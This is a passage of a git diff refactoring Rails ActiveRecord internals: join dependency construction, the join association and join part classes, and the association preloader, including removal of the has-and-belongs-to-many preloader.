-          return record.association(join_part.reflection.name).target if record.association_cache.key?(join_part.reflection.name)
-          association = join_part.instantiate(row) unless row[join_part.aliased_primary_key].nil?
-          set_target_and_inverse(join_part, association, record)
-        else
-          association = join_part.instantiate(row) unless row[join_part.aliased_primary_key].nil?
-          case macro
-          when :has_many, :has_and_belongs_to_many
-            other = record.association(join_part.reflection.name)
+        parent.children.each do |node|
+          if node.reflection.collection?
+            other = ar_parent.association(node.reflection.name)
             other.loaded!
-            other.target.push(association) if association
-            other.set_inverse_instance(association)
-          when :belongs_to
-            set_target_and_inverse(join_part, association, record)
           else
-            raise ConfigurationError, "unknown macro: #{join_part.reflection.macro}"
+            if ar_parent.association_cache.key?(node.reflection.name)
+              model = ar_parent.association(node.reflection.name).target
+              construct(model, node, row, rs, seen, model_cache, aliases)
+              next
+            end
+          end
+
+          key = aliases.column_alias(node, node.primary_key)
+          id = row[key]
+          if id.nil?
+            nil_association = ar_parent.association(node.reflection.name)
+            nil_association.loaded!
+            next
+          end
+
+          model = seen[parent.base_klass][primary_id][node.base_klass][id]
+
+          if model
+            construct(model, node, row, rs, seen, model_cache, aliases)
+          else
+            model = construct_model(ar_parent, node, row, model_cache, id, aliases)
+            model.readonly!
+            seen[parent.base_klass][primary_id][node.base_klass][id] = model
+            construct(model, node, row, rs, seen, model_cache, aliases)
           end
         end
-        association
       end
 
-      def set_target_and_inverse(join_part, association, record)
-        other = record.association(join_part.reflection.name)
-        other.target = association
-        other.set_inverse_instance(association)
+      def construct_model(record, node, row, model_cache, id, aliases)
+        model = model_cache[node][id] ||= node.instantiate(row,
+                                                           aliases.column_aliases(node))
+        other = record.association(node.reflection.name)
+
+        if node.reflection.collection?
+          other.target.push(model)
+        else
+          other.target = model
+        end
+
+        other.set_inverse_instance(model)
+        model
       end
     end
   end
diff --git a/activerecord/lib/active_record/associations/join_dependency/join_association.rb b/activerecord/lib/active_record/associations/join_dependency/join_association.rb
index 58fc00d811..a6ad09a38a 100644
--- a/activerecord/lib/active_record/associations/join_dependency/join_association.rb
+++ b/activerecord/lib/active_record/associations/join_dependency/join_association.rb
@@ -1,77 +1,35 @@
+require 'active_record/associations/join_dependency/join_part'
+
 module ActiveRecord
   module Associations
     class JoinDependency # :nodoc:
       class JoinAssociation < JoinPart # :nodoc:
-        include JoinHelper
-
         # The reflection of the association represented
         attr_reader :reflection
 
-        # The JoinDependency object which this JoinAssociation exists within. This is mainly
-        # relevant for generating aliases which do not conflict with other joins which are
-        # part of the query.
-        attr_reader :join_dependency
-
-        # A JoinBase instance representing the active record we are joining onto.
-        # (So in Author.has_many :posts, the Author would be that base record.)
-        attr_reader :parent
-
-        # What type of join will be generated, either Arel::InnerJoin (default) or Arel::OuterJoin
-        attr_accessor :join_type
-
-        # These implement abstract methods from the superclass
-        attr_reader :aliased_prefix
-
-        attr_reader :tables
-
-        delegate :options, :through_reflection, :source_reflection, :chain, :to => :reflection
-        delegate :alias_tracker, :to => :join_dependency
+        attr_accessor :tables
 
-        def initialize(reflection, join_dependency, parent = nil)
-          reflection.check_validity!
-
-          if reflection.options[:polymorphic]
-            raise EagerLoadPolymorphicError.new(reflection)
-          end
-
-          super(reflection.klass)
+        def initialize(reflection, children)
+          super(reflection.klass, children)
 
           @reflection      = reflection
-          @join_dependency = join_dependency
-          @parent          = parent
-          @join_type       = Arel::InnerJoin
-          @aliased_prefix  = "t#{ join_dependency.join_parts.size }"
-          @tables          = construct_tables.reverse
+          @tables          = nil
         end
 
-        def parent_table_name; parent.table_name; end
-        alias :alias_suffix :parent_table_name
-
-        def ==(other)
-          other.class == self.class &&
-            other.reflection == reflection &&
-            other.parent == parent
+        def match?(other)
+          return true if self == other
+          super && reflection == other.reflection
         end
 
-        def find_parent_in(other_join_dependency)
-          other_join_dependency.join_parts.detect do |join_part|
-            case parent
-            when JoinBase
-              parent.base_klass == join_part.base_klass
-            else
-              parent == join_part
-            end
-          end
-        end
+        JoinInformation = Struct.new :joins, :binds
 
-        def join_constraints
+        def join_constraints(foreign_table, foreign_klass, node, join_type, tables, scope_chain, chain)
           joins         = []
-          tables        = @tables.dup
-
-          foreign_table = parent.table
-          foreign_klass = parent.base_klass
+          binds         = []
+          tables        = tables.reverse
 
-          scope_chain_iter = reflection.scope_chain.reverse_each
+          scope_chain_index = 0
+          scope_chain = scope_chain.reverse
 
           # The chain starts with the target table, but we want to end with it here (makes
           # more sense in this context), so we reverse
@@ -79,59 +37,55 @@ module ActiveRecord
             table = tables.shift
             klass = reflection.klass
 
-            case reflection.source_macro
-            when :belongs_to
-              key         = reflection.association_primary_key
-              foreign_key = reflection.foreign_key
-            when :has_and_belongs_to_many
-              # Join the join table first...
-              joins << join(
-                table,
-                table[reflection.foreign_key].
-                  eq(foreign_table[reflection.active_record_primary_key]))
-
-              foreign_table, table = table, tables.shift
-
-              key         = reflection.association_primary_key
-              foreign_key = reflection.association_foreign_key
-            else
-              key         = reflection.foreign_key
-              foreign_key = reflection.active_record_primary_key
-            end
+            join_keys   = reflection.join_keys(klass)
+            key         = join_keys.key
+            foreign_key = join_keys.foreign_key
 
             constraint = build_constraint(klass, table, key, foreign_table, foreign_key)
 
-            scope_chain_items = scope_chain_iter.next.map do |item|
+            predicate_builder = PredicateBuilder.new(TableMetadata.new(klass, table))
+            scope_chain_items = scope_chain[scope_chain_index].map do |item|
               if item.is_a?(Relation)
                 item
               else
-                ActiveRecord::Relation.create(klass, table).instance_exec(self, &item)
+                ActiveRecord::Relation.create(klass, table, predicate_builder)
+                  .instance_exec(node, &item)
               end
             end
+            scope_chain_index += 1
 
-            if reflection.type
-              scope_chain_items <<
-                ActiveRecord::Relation.create(klass, table)
-                  .where(reflection.type => foreign_klass.base_class.name)
-            end
-
-            scope_chain_items.concat [klass.send(:build_default_scope)].compact
+            relation = ActiveRecord::Relation.create(
+              klass,
+              table,
+              predicate_builder,
+            )
+            scope_chain_items.concat [klass.send(:build_default_scope, relation)].compact
 
             rel = scope_chain_items.inject(scope_chain_items.shift) do |left, right|
               left.merge right
             end
 
             if rel && !rel.arel.constraints.empty?
+              binds += rel.bound_attributes
               constraint = constraint.and rel.arel.constraints
             end
 
-            joins << join(table, constraint)
+            if reflection.type
+              value = foreign_klass.base_class.name
+              column = klass.columns_hash[reflection.type.to_s]
+
+              substitute = klass.connection.substitute_at(column)
+              binds << Relation::QueryAttribute.new(column.name, value, klass.type_for_attribute(column.name))
+              constraint = constraint.and table[reflection.type].eq substitute
+            end
+
+            joins << table.create_join(table, table.create_on(constraint), join_type)
 
             # The current table in this iteration becomes the foreign table in the next
             foreign_table, foreign_klass = table, klass
           end
 
-          joins
+          JoinInformation.new joins, binds
         end
 
         #  Builds equality condition.
@@ -143,11 +97,11 @@ module ActiveRecord
         #  end
         #
         #  If I execute `Physician.joins(:appointments).to_a` then
-        #    reflection    #=> #<ActiveRecord::Reflection::AssociationReflection @macro=:has_many ...>
-        #    table         #=> #<Arel::Table @name="appointments" ...>
-        #    key           #=>  physician_id
-        #    foreign_table #=> #<Arel::Table @name="physicians" ...>
-        #    foreign_key   #=> id
+        #    klass         # => Physician
+        #    table         # => #<Arel::Table @name="appointments" ...>
+        #    key           # =>  physician_id
+        #    foreign_table # => #<Arel::Table @name="physicians" ...>
+        #    foreign_key   # => id
         #
         def build_constraint(klass, table, key, foreign_table, foreign_key)
           constraint = table[key].eq(foreign_table[foreign_key])
@@ -162,13 +116,8 @@ module ActiveRecord
           constraint
         end
 
-        def join_relation(joining_relation)
-          self.join_type = Arel::OuterJoin
-          joining_relation.joins(self)
-        end
-
         def table
-          tables.last
+          tables.first
         end
 
         def aliased_table_name
diff --git a/activerecord/lib/active_record/associations/join_dependency/join_base.rb b/activerecord/lib/active_record/associations/join_dependency/join_base.rb
index a7dacdbfd6..3a26c25737 100644
--- a/activerecord/lib/active_record/associations/join_dependency/join_base.rb
+++ b/activerecord/lib/active_record/associations/join_dependency/join_base.rb
@@ -1,18 +1,16 @@
+require 'active_record/associations/join_dependency/join_part'
+
 module ActiveRecord
   module Associations
     class JoinDependency # :nodoc:
       class JoinBase < JoinPart # :nodoc:
-        def ==(other)
-          other.class == self.class &&
-            other.base_klass == base_klass
-        end
-
-        def aliased_prefix
-          "t0"
+        def match?(other)
+          return true if self == other
+          super && base_klass == other.base_klass
         end
 
         def table
-          Arel::Table.new(table_name, arel_engine)
+          base_klass.arel_table
         end
 
         def aliased_table_name
diff --git a/activerecord/lib/active_record/associations/join_dependency/join_part.rb b/activerecord/lib/active_record/associations/join_dependency/join_part.rb
index b534569063..9c6573f913 100644
--- a/activerecord/lib/active_record/associations/join_dependency/join_part.rb
+++ b/activerecord/lib/active_record/associations/join_dependency/join_part.rb
@@ -8,34 +8,35 @@ module ActiveRecord
       # operations (for example a has_and_belongs_to_many JoinAssociation would result in
       # two; one for the join table and one for the target table).
       class JoinPart # :nodoc:
+        include Enumerable
+
         # The Active Record class which this join part is associated 'about'; for a JoinBase
         # this is the actual base model, for a JoinAssociation this is the target model of the
         # association.
-        attr_reader :base_klass
+        attr_reader :base_klass, :children
 
-        delegate :table_name, :column_names, :primary_key, :reflections, :arel_engine, :to => :base_klass
+        delegate :table_name, :column_names, :primary_key, :to => :base_klass
 
-        def initialize(base_klass)
+        def initialize(base_klass, children)
           @base_klass = base_klass
-          @cached_record = {}
-          @column_names_with_alias = nil
+          @children = children
         end
 
-        def aliased_table
-          Arel::Nodes::TableAlias.new table, aliased_table_name
+        def name
+          reflection.name
         end
 
-        def ==(other)
-          raise NotImplementedError
+        def match?(other)
+          self.class == other.class
         end
 
-        # An Arel::Table for the active_record
-        def table
-          raise NotImplementedError
+        def each(&block)
+          yield self
+          children.each { |child| child.each(&block) }
         end
 
-        # The prefix to be used when aliasing columns in the active_record's table
-        def aliased_prefix
+        # An Arel::Table for the active_record
+        def table
           raise NotImplementedError
         end
 
@@ -44,33 +45,25 @@ module ActiveRecord
           raise NotImplementedError
         end
 
-        # The alias for the primary key of the active_record's table
-        def aliased_primary_key
-          "#{aliased_prefix}_r0"
-        end
+        def extract_record(row, column_names_with_alias)
+          # This code is performance critical as it is called per row.
+          # see: https://github.com/rails/rails/pull/12185
+          hash = {}
 
-        # An array of [column_name, alias] pairs for the table
-        def column_names_with_alias
-          unless @column_names_with_alias
-            @column_names_with_alias = []
+          index = 0
+          length = column_names_with_alias.length
 
-            ([primary_key] + (column_names - [primary_key])).compact.each_with_index do |column_name, i|
-              @column_names_with_alias << [column_name, "#{aliased_prefix}_r#{i}"]
-            end
+          while index < length
+            column_name, alias_name = column_names_with_alias[index]
+            hash[column_name] = row[alias_name]
+            index += 1
           end
-          @column_names_with_alias
-        end
-
-        def extract_record(row)
-          Hash[column_names_with_alias.map{|cn, an| [cn, row[an]]}]
-        end
 
-        def record_id(row)
-          row[aliased_primary_key]
+          hash
         end
 
-        def instantiate(row)
-          @cached_record[record_id(row)] ||= base_klass.instantiate(extract_record(row))
+        def instantiate(row, aliases)
+          base_klass.instantiate(extract_record(row, aliases))
         end
       end
     end
diff --git a/activerecord/lib/active_record/associations/join_helper.rb b/activerecord/lib/active_record/associations/join_helper.rb
deleted file mode 100644
index 27b70edf1a..0000000000
--- a/activerecord/lib/active_record/associations/join_helper.rb
+++ /dev/null
@@ -1,45 +0,0 @@
-module ActiveRecord
-  module Associations
-    # Helper class module which gets mixed into JoinDependency::JoinAssociation and AssociationScope
-    module JoinHelper #:nodoc:
-
-      def join_type
-        Arel::InnerJoin
-      end
-
-      private
-
-      def construct_tables
-        tables = []
-        chain.each do |reflection|
-          tables << alias_tracker.aliased_table_for(
-            table_name_for(reflection),
-            table_alias_for(reflection, reflection != self.reflection)
-          )
-
-          if reflection.source_macro == :has_and_belongs_to_many
-            tables << alias_tracker.aliased_table_for(
-              reflection.source_reflection.join_table,
-              table_alias_for(reflection, true)
-            )
-          end
-        end
-        tables
-      end
-
-      def table_name_for(reflection)
-        reflection.table_name
-      end
-
-      def table_alias_for(reflection, join = false)
-        name = "#{reflection.plural_name}_#{alias_suffix}"
-        name << "_join" if join
-        name
-      end
-
-      def join(table, constraint)
-        table.create_join(table, table.create_on(constraint), join_type)
-      end
-    end
-  end
-end
diff --git a/activerecord/lib/active_record/associations/preloader.rb b/activerecord/lib/active_record/associations/preloader.rb
index 6cc9d6c079..97f4bd3811 100644
--- a/activerecord/lib/active_record/associations/preloader.rb
+++ b/activerecord/lib/active_record/associations/preloader.rb
@@ -2,33 +2,42 @@ module ActiveRecord
   module Associations
     # Implements the details of eager loading of Active Record associations.
     #
-    # Note that 'eager loading' and 'preloading' are actually the same thing.
-    # However, there are two different eager loading strategies.
+    # Suppose that you have the following two Active Record models:
     #
-    # The first one is by using table joins. This was only strategy available
-    # prior to Rails 2.1. Suppose that you have an Author model with columns
-    # 'name' and 'age', and a Book model with columns 'name' and 'sales'. Using
-    # this strategy, Active Record would try to retrieve all data for an author
-    # and all of its books via a single query:
+    #   class Author < ActiveRecord::Base
+    #     # columns: name, age
+    #     has_many :books
+    #   end
     #
-    #   SELECT * FROM authors
-    #   LEFT OUTER JOIN books ON authors.id = books.author_id
-    #   WHERE authors.name = 'Ken Akamatsu'
+    #   class Book < ActiveRecord::Base
+    #     # columns: title, sales
+    #   end
     #
-    # However, this could result in many rows that contain redundant data. After
-    # having received the first row, we already have enough data to instantiate
-    # the Author object. In all subsequent rows, only the data for the joined
-    # 'books' table is useful; the joined 'authors' data is just redundant, and
-    # processing this redundant data takes memory and CPU time. The problem
-    # quickly becomes worse and worse as the level of eager loading increases
-    # (i.e. if Active Record is to eager load the associations' associations as
-    # well).
+    # When you load an author with all associated books Active Record will make
+    # multiple queries like this:
+    #
+    #   Author.includes(:books).where(:name => ['bell hooks', 'Homer').to_a
+    #
+    #   => SELECT `authors`.* FROM `authors` WHERE `name` IN ('bell hooks', 'Homer')
+    #   => SELECT `books`.* FROM `books` WHERE `author_id` IN (2, 5)
+    #
+    # Active Record saves the ids of the records from the first query to use in
+    # the second. Depending on the number of associations involved there can be
+    # arbitrarily many SQL queries made.
+    #
+    # However, if there is a WHERE clause that spans across tables Active
+    # Record will fall back to a slightly more resource-intensive single query:
+    #
+    #   Author.includes(:books).where(books: {title: 'Illiad'}).to_a
+    #   => SELECT `authors`.`id` AS t0_r0, `authors`.`name` AS t0_r1, `authors`.`age` AS t0_r2,
+    #             `books`.`id`   AS t1_r0, `books`.`title`  AS t1_r1, `books`.`sales` AS t1_r2
+    #      FROM `authors`
+    #      LEFT OUTER JOIN `books` ON `authors`.`id` =  `books`.`author_id`
+    #      WHERE `books`.`title` = 'Illiad'
+    #
+    # This could result in many rows that contain redundant data and it performs poorly at scale
+    # and is therefore only used when necessary.
     #
-    # The second strategy is to use multiple database queries, one for each
-    # level of association. Since Rails 2.1, this is the default strategy. In
-    # situations where a table join is necessary (e.g. when the +:conditions+
-    # option references an association's column), it will fallback to the table
-    # join strategy.
     class Preloader #:nodoc:
       extend ActiveSupport::Autoload
 
@@ -42,12 +51,9 @@ module ActiveRecord
         autoload :HasManyThrough,      'active_record/associations/preloader/has_many_through'
         autoload :HasOne,              'active_record/associations/preloader/has_one'
         autoload :HasOneThrough,       'active_record/associations/preloader/has_one_through'
-        autoload :HasAndBelongsToMany, 'active_record/associations/preloader/has_and_belongs_to_many'
         autoload :BelongsTo,           'active_record/associations/preloader/belongs_to'
       end
 
-      attr_reader :records, :associations, :preload_scope, :model
-
       # Eager loads the named associations for the given Active Record record(s).
       #
       # In this description, 'association name' shall refer to the name passed
@@ -82,40 +88,48 @@ module ActiveRecord
       #   [ :books, :author ]
       #   { author: :avatar }
       #   [ :books, { author: :avatar } ]
-      def initialize(records, associations, preload_scope = nil)
-        @records       = Array.wrap(records).compact.uniq
-        @associations  = Array.wrap(associations)
-        @preload_scope = preload_scope || NULL_RELATION
-      end
 
-      NULL_RELATION = Struct.new(:values).new({})
+      NULL_RELATION = Struct.new(:values, :where_clause, :joins_values).new({}, Relation::WhereClause.empty, [])
+
+      def preload(records, associations, preload_scope = nil)
+        records       = Array.wrap(records).compact.uniq
+        associations  = Array.wrap(associations)
+        preload_scope = preload_scope || NULL_RELATION
 
-      def run
-        unless records.empty?
-          associations.each { |association| preload(association) }
+        if records.empty?
+          []
+        else
+          associations.flat_map { |association|
+            preloaders_on association, records, preload_scope
+          }
         end
       end
 
       private
 
-      def preload(association)
+      def preloaders_on(association, records, scope)
         case association
         when Hash
-          preload_hash(association)
+          preloaders_for_hash(association, records, scope)
         when Symbol
-          preload_one(association)
+          preloaders_for_one(association, records, scope)
         when String
-          preload_one(association.to_sym)
+          preloaders_for_one(association.to_sym, records, scope)
         else
           raise ArgumentError, "#{association.inspect} was not recognised for preload"
         end
       end
 
-      def preload_hash(association)
-        association.each do |parent, child|
-          Preloader.new(records, parent, preload_scope).run
-          Preloader.new(records.map { |record| record.send(parent) }.flatten, child).run
-        end
+      def preloaders_for_hash(association, records, scope)
+        association.flat_map { |parent, child|
+          loaders = preloaders_for_one parent, records, scope
+
+          recs = loaders.flat_map(&:preloaded_records).uniq
+          loaders.concat Array.wrap(child).flat_map { |assoc|
+            preloaders_on assoc, recs, scope
+          }
+          loaders
+        }
       end
 
       # Not all records have the same class, so group then preload group on the reflection
@@ -125,52 +139,61 @@ module ActiveRecord
       # Additionally, polymorphic belongs_to associations can have multiple associated
       # classes, depending on the polymorphic_type field. So we group by the classes as
       # well.
-      def preload_one(association)
-        grouped_records(association).each do |reflection, klasses|
-          klasses.each do |klass, records|
-            preloader_for(reflection).new(klass, records, reflection, preload_scope).run
+      def preloaders_for_one(association, records, scope)
+        grouped_records(association, records).flat_map do |reflection, klasses|
+          klasses.map do |rhs_klass, rs|
+            loader = preloader_for(reflection, rs, rhs_klass).new(rhs_klass, rs, reflection, scope)
+            loader.run self
+            loader
           end
         end
       end
 
-      def grouped_records(association)
-        Hash[
-          records_by_reflection(association).map do |reflection, records|
-            [reflection, records.group_by { |record| association_klass(reflection, record) }]
-          end
-        ]
+      def grouped_records(association, records)
+        h = {}
+        records.each do |record|
+          next unless record
+          assoc = record.association(association)
+          klasses = h[assoc.reflection] ||= {}
+          (klasses[assoc.klass] ||= []) << record
+        end
+        h
       end
 
-      def records_by_reflection(association)
-        records.group_by do |record|
-          reflection = record.class.reflections[association]
+      class AlreadyLoaded
+        attr_reader :owners, :reflection
 
-          unless reflection
-            raise ActiveRecord::ConfigurationError, "Association named '#{association}' was not found; " \
-                                                    "perhaps you misspelled it?"
-          end
+        def initialize(klass, owners, reflection, preload_scope)
+          @owners = owners
+          @reflection = reflection
+        end
+
+        def run(preloader); end
 
-          reflection
+        def preloaded_records
+          owners.flat_map { |owner| owner.association(reflection.name).target }
         end
       end
 
-      def association_klass(reflection, record)
-        if reflection.macro == :belongs_to && reflection.options[:polymorphic]
-          klass = record.send(reflection.foreign_type)
-          klass && klass.constantize
-        else
-          reflection.klass
-        end
+      class NullPreloader
+        def self.new(klass, owners, reflection, preload_scope); self; end
+        def self.run(preloader); end
+        def self.preloaded_records; []; end
       end
 
-      def preloader_for(reflection)
+      def preloader_for(reflection, owners, rhs_klass)
+        return NullPreloader unless rhs_klass
+
+        if owners.first.association(reflection.name).loaded?
+          return AlreadyLoaded
+        end
+        reflection.check_preloadable!
+
         case reflection.macro
         when :has_many
           reflection.options[:through] ? HasManyThrough : HasMany
         when :has_one
           reflection.options[:through] ? HasOneThrough : HasOne
-        when :has_and_belongs_to_many
-          HasAndBelongsToMany
         when :belongs_to
           BelongsTo
         end
diff --git a/activerecord/lib/active_record/associations/preloader/association.rb b/activerecord/lib/active_record/associations/preloader/association.rb
index 928da71eed..1dc8bff193 100644
--- a/activerecord/lib/active_record/associations/preloader/association.rb
+++ b/activerecord/lib/active_record/associations/preloader/association.rb
@@ -3,6 +3,7 @@ module ActiveRecord
     class Preloader
       class Association #:nodoc:
         attr_reader :owners, :reflection, :preload_scope, :model, :klass
+        attr_reader :preloaded_records
 
         def initialize(klass, owners, reflection, preload_scope)
           @klass         = klass
@@ -12,15 +13,14 @@ module ActiveRecord
           @model         = owners.first && owners.first.class
           @scope         = nil
           @owners_by_key = nil
+          @preloaded_records = []
         end
 
-        def run
-          unless owners.first.association(reflection.name).loaded?
-            preload
-          end
+        def run(preloader)
+          preload(preloader)
         end
 
-        def preload
+        def preload(preloader)
           raise NotImplementedError
         end
 
@@ -33,7 +33,7 @@ module ActiveRecord
         end
 
         def query_scope(ids)
-          scope.where(association_key.in(ids))
+          scope.where(association_key_name => ids)
         end
 
         def table
@@ -57,9 +57,15 @@ module ActiveRecord
         end
 
         def owners_by_key
-          @owners_by_key ||= owners.group_by do |owner|
-            owner[owner_key_name]
-          end
+          @owners_by_key ||= if key_conversion_required?
+                               owners.group_by do |owner|
+                                 owner[owner_key_name].to_s
+                               end
+                             else
+                               owners.group_by do |owner|
+                                 owner[owner_key_name]
+                               end
+                             end
         end
 
         def options
@@ -68,36 +74,54 @@ module ActiveRecord
 
         private
 
-        def associated_records_by_owner
+        def associated_records_by_owner(preloader)
           owners_map = owners_by_key
           owner_keys = owners_map.keys.compact
 
           # Each record may have multiple owners, and vice-versa
-          records_by_owner = Hash[owners.map { |owner| [owner, []] }]
+          records_by_owner = owners.each_with_object({}) do |owner,h|
+            h[owner] = []
+          end
 
-          if klass && owner_keys.any?
+          if owner_keys.any?
             # Some databases impose a limit on the number of ids in a list (in Oracle it's 1000)
             # Make several smaller queries if necessary or make one query if the adapter supports it
             sliced  = owner_keys.each_slice(klass.connection.in_clause_length || owner_keys.size)
-            sliced.each { |slice|
-              records = records_for(slice)
-              caster = type_caster(records, association_key_name)
-              records.each do |record|
-                owner_key = caster.call record[association_key_name]
-
-                owners_map[owner_key].each do |owner|
-                  records_by_owner[owner] << record
-                end
+
+            records = load_slices sliced
+            records.each do |record, owner_key|
+              owners_map[owner_key].each do |owner|
+                records_by_owner[owner] << record
               end
-            }
+            end
           end
 
           records_by_owner
         end
 
-        IDENTITY = lambda { |value| value }
-        def type_caster(results, name)
-          IDENTITY
+        def key_conversion_required?
+          association_key_type != owner_key_type
+        end
+
+        def association_key_type
+          @klass.type_for_attribute(association_key_name.to_s).type
+        end
+
+        def owner_key_type
+          @model.type_for_attribute(owner_key_name.to_s).type
+        end
+
+        def load_slices(slices)
+          @preloaded_records = slices.flat_map { |slice|
+            records_for(slice)
+          }
+
+          @preloaded_records.map { |record|
+            key = record[association_key_name]
+            key = key.to_s if key_conversion_required?
+
+            [record, key]
+          }
         end
 
         def reflection_scope
@@ -107,19 +131,30 @@ module ActiveRecord
         def build_scope
           scope = klass.unscoped
 
-          values         = reflection_scope.values
+          values = reflection_scope.values
           preload_values = preload_scope.values
 
-          scope.where_values      = Array(values[:where])      + Array(preload_values[:where])
+          scope.where_clause = reflection_scope.where_clause + preload_scope.where_clause
           scope.references_values = Array(values[:references]) + Array(preload_values[:references])
 
-          scope.select!   preload_values[:select] || values[:select] || table[Arel.star]
+          scope._select! preload_values[:select] || values[:select] || table[Arel.star]
           scope.includes! preload_values[:includes] || values[:includes]
+          if preload_scope.joins_values.any?
+            scope.joins!(preload_scope.joins_values)
+          else
+            scope.joins!(reflection_scope.joins_values)
+          end
+          scope.order! preload_values[:order] || values[:order]
+
+          if preload_values[:readonly] || values[:readonly]
+            scope.readonly!
+          end
 
           if options[:as]
             scope.where!(klass.table_name => { reflection.type => model.base_class.sti_name })
           end
 
+          scope.unscope_values = Array(values[:unscope])
           klass.default_scoped.merge(scope)
         end
       end
diff --git a/activerecord/lib/active_record/associations/preloader/collection_association.rb b/activerecord/lib/active_record/associations/preloader/collection_association.rb
index e6cd35e7a1..5adffcd831 100644
--- a/activerecord/lib/active_record/associations/preloader/collection_association.rb
+++ b/activerecord/lib/active_record/associations/preloader/collection_association.rb
@@ -9,8 +9,8 @@ module ActiveRecord
           super.order(preload_scope.values[:order] || reflection_scope.values[:order])
         end
 
-        def preload
-          associated_records_by_owner.each do |owner, records|
+        def preload(preloader)
+          associated_records_by_owner(preloader).each do |owner, records|
             association = owner.association(reflection.name)
             association.loaded!
             association.target.concat(records)
diff --git a/activerecord/lib/active_record/associations/preloader/has_and_belongs_to_many.rb b/activerecord/lib/active_record/associations/preloader/has_and_belongs_to_many.rb
deleted file mode 100644
index c042a44b21..0000000000
--- a/activerecord/lib/active_record/associations/preloader/has_and_belongs_to_many.rb
+++ /dev/null
@@ -1,65 +0,0 @@
-module ActiveRecord
-  module Associations
-    class Preloader
-      class HasAndBelongsToMany < CollectionAssociation #:nodoc:
-        attr_reader :join_table
-
-        def initialize(klass, records, reflection, preload_options)
-          super
-          @join_table = Arel::Table.new(reflection.join_table).alias('t0')
-        end
-
-        # Unlike the other associations, we want to get a raw array of rows so that we can
-        # access the aliased column on the join table
-        def records_for(ids)
-          scope = query_scope ids
-          klass.connection.select_all(scope.arel, 'SQL', scope.bind_values)
-        end
-
-        def owner_key_name
-          reflection.active_record_primary_key
-        end
-
-        def association_key_name
-          'ar_association_key_name'
-        end
-
-        def association_key
-          join_table[reflection.foreign_key]
-        end
-
-        private
-
-        # Once we have used the join table column (in super), we manually instantiate the
-        # actual records, ensuring that we don't create more than one instances of the same
-        # record
-        def associated_records_by_owner
-          records = {}
-          super.each_value do |rows|
-            rows.map! { |row| records[row[klass.primary_key]] ||= klass.instantiate(row) }
-          end
-        end
-
-        def type_caster(results, name)
-          caster = results.column_types.fetch(name, results.identity_type)
-          lambda { |value| caster.type_cast value }
-        end
-
-        def build_scope
-          super.joins(join).select(join_select)
-        end
-
-        def join_select
-          association_key.as(Arel.sql(association_key_name))
-        end
-
-        def join
-          condition = table[reflection.association_primary_key].eq(
-            join_table[reflection.association_foreign_key])
-
-          table.create_join(join_table, table.create_on(condition))
-        end
-      end
-    end
-  end
-end
diff --git a/activerecord/lib/active_record/associations/preloader/has_many_through.rb b/activerecord/lib/active_record/associations/preloader/has_many_through.rb
index 157b627ad5..2029871f39 100644
--- a/activerecord/lib/active_record/associations/preloader/has_many_through.rb
+++ b/activerecord/lib/active_record/associations/preloader/has_many_through.rb
@@ -4,11 +4,11 @@ module ActiveRecord
       class HasManyThrough < CollectionAssociation #:nodoc:
         include ThroughAssociation
 
-        def associated_records_by_owner
+        def associated_records_by_owner(preloader)
           records_by_owner = super
 
           if reflection_scope.distinct_value
-            records_by_owner.each_value { |records| records.uniq! }
+            records_by_owner.each_value(&:uniq!)
           end
 
           records_by_owner
diff --git a/activerecord/lib/active_record/associations/preloader/singular_association.rb b/activerecord/lib/active_record/associations/preloader/singular_association.rb
index 44e804d785..f60647a81e 100644
--- a/activerecord/lib/active_record/associations/preloader/singular_association.rb
+++ b/activerecord/lib/active_record/associations/preloader/singular_association.rb
@@ -5,13 +5,13 @@ module ActiveRecord
 
         private
 
-        def preload
-          associated_records_by_owner.each do |owner, associated_records|
+        def preload(preloader)
+          associated_records_by_owner(preloader).each do |owner, associated_records|
             record = associated_records.first
 
             association = owner.association(reflection.name)
             association.target = record
-            association.set_inverse_instance(record)
+            association.set_inverse_instance(record) if record
           end
         end
 
diff --git a/activerecord/lib/active_record/associations/preloader/through_association.rb b/activerecord/lib/active_record/associations/preloader/through_association.rb
index 2c625cec04..56aa23b173 100644
--- a/activerecord/lib/active_record/associations/preloader/through_association.rb
+++ b/activerecord/lib/active_record/associations/preloader/through_association.rb
@@ -2,7 +2,6 @@ module ActiveRecord
   module Associations
     class Preloader
       module ThroughAssociation #:nodoc:
-
         def through_reflection
           reflection.through_reflection
         end
@@ -11,47 +10,81 @@ module ActiveRecord
           reflection.source_reflection
         end
 
-        def associated_records_by_owner
-          through_records = through_records_by_owner
+        def associated_records_by_owner(preloader)
+          preloader.preload(owners,
+                            through_reflection.name,
+                            through_scope)
+
+          through_records = owners.map do |owner|
+            association = owner.association through_reflection.name
+
+            [owner, Array(association.reader)]
+          end
+
+          reset_association owners, through_reflection.name
+
+          middle_records = through_records.flat_map { |(_,rec)| rec }
+
+          preloaders = preloader.preload(middle_records,
+                                         source_reflection.name,
+                                         reflection_scope)
 
-          Preloader.new(through_records.values.flatten, source_reflection.name, reflection_scope).run
+          @preloaded_records = preloaders.flat_map(&:preloaded_records)
+
+          middle_to_pl = preloaders.each_with_object({}) do |pl,h|
+            pl.owners.each { |middle|
+              h[middle] = pl
+            }
+          end
 
-          through_records.each do |owner, records|
-            records.map! { |r| r.send(source_reflection.name) }.flatten!
-            records.compact!
+          record_offset = {}
+          @preloaded_records.each_with_index do |record,i|
+            record_offset[record] = i
           end
+
+          through_records.each_with_object({}) { |(lhs,center),records_by_owner|
+            pl_to_middle = center.group_by { |record| middle_to_pl[record] }
+
+            records_by_owner[lhs] = pl_to_middle.flat_map do |pl, middles|
+              rhs_records = middles.flat_map { |r|
+                association = r.association source_reflection.name
+
+                association.reader
+              }.compact
+
+              rhs_records.sort_by { |rhs| record_offset[rhs] }
+            end
+          }
         end
 
         private
 
-        def through_records_by_owner
-          Preloader.new(owners, through_reflection.name, through_scope).run
-
+        def reset_association(owners, association_name)
           should_reset = (through_scope != through_reflection.klass.unscoped) ||
              (reflection.options[:source_type] && through_reflection.collection?)
 
-          owners.each_with_object({}) do |owner, h|
-            association = owner.association through_reflection.name
-            h[owner] = Array(association.reader)
-
-            # Dont cache the association - we would only be caching a subset
-            association.reset if should_reset
+          # Don't cache the association - we would only be caching a subset
+          if should_reset
+            owners.each { |owner|
+              owner.association(association_name).reset
+            }
           end
         end
 
+
         def through_scope
           scope = through_reflection.klass.unscoped
 
           if options[:source_type]
             scope.where! reflection.foreign_type => options[:source_type]
           else
-            unless reflection_scope.where_values.empty?
+            unless reflection_scope.where_clause.empty?
               scope.includes_values = Array(reflection_scope.values[:includes] || options[:source])
-              scope.where_values    = reflection_scope.values[:where]
